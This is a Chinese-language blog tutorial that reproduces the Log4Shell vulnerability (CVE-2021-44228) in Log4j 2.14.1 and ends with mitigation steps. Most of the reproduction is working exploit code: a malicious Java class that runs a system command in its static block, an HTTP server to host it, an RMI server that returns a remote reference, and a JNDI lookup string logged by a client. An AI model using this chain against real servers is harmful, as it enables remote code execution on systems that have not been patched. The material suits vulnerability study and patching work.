【核弹级漏洞】Apache Log4j2 漏洞复现(CVE-2021-44228 )包含源码

2021年12月10日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞编号:CVE-2021-44228,名称:Log4Shell。由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。关于漏洞的细节想必大家都很感兴趣,我们这边直接用代码来复现漏洞。

目录

实验环境

操作步骤

准备恶意对象

启动HTTP服务器

启动RMI服务器

启动Client

项目代码

漏洞修复


实验环境

java版本 : 1.8.0_91

python版本:  3.10.1  (python版本与此次实验无强关联,只是为了搭建http服务器)

log4j版本 : 2.14.1

实验概览:

此次采用rmi注入,主要有这三个部分。

Client:模拟受攻击的服务器,执行log4j的日志

HTTP服务器:用于上传注入的代码,并返回给Client

RMI服务器:用于接收Client发送的rmi请求,并返回远程对象地址

恶意对象:在这个对象的静态代码块中写入想要执行的代码,如cmd命令。Client在加载对象时,由于默认执行静态代码块,cmd命令也会被执行。

操作步骤

接下来是各部分的代码展示,我们按照启动顺序展开

准备恶意对象

这是对象EviObj的代码,这里为了更好的演示,我们只是简单的执行一个calc命令(windows系统命令),调用计算器。如果大家不是windows的话,自行修改为其他命令。

public class EvilObj {
    static {
        try{
            // open the calc
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }

    }

}

准备好代码后,我们编译成class

执行javac EvilObj.java  获得EvilObj.class

启动HTTP服务器

这里为了演示方便,我们直接用python3自带的SimpleHTTPServe来启动,命令如下

python  -m http.server 6666

同时将EvilObj.class放在http服务器的根目录,也就是执行该python命令的所在目录。

启动RMI服务器

这里为了演示方便我rmi服务器也起在本地,监听端口1099,同时返回http服务器的地址为127.0.0.1:6666

代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RmiServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:6666/";

        System.out.println("Create RMI registry on port 1099");

        Reference reference = new Reference("EvilObj", "EvilObj", url);

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("evil", referenceWrapper);

    }
}

执行Main方法启动

启动Client

模拟收到攻击,打印恶意日志

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class Main {
    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        // 执行该日志注入
        log.error("${jndi:rmi://127.0.0.1:1099/evil}");
    }

}

启动后可以看到,成功调用了计算器

项目代码

ApacheLog4j漏洞复现(CVE-2021-44228)包含源码-网络安全文档类资源-CSDN下载

漏洞修复

漏洞修复的方式较多,这里列出一些主要方式,随时会更新。

出现漏洞的log4j版本为 version <= 2.14.1,虽然漏洞一爆出来,log4j官方就发布新版本2.15.0,但是目前还是不停的在出rc版本。截至目前12月14号已经发布到了2.16.0 ,建议升级最新版本搭配以下任意一种方式修复。

1、设置配置参数:

log4j2.formatMsgNoLookups=true

2、修改JVM参数:

-Dlog4j2.formatMsgNoLookups=true

3、修改系统环境变量:

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

4、禁止 log4j2 所在服务器外连

5、升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Blaze Jack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值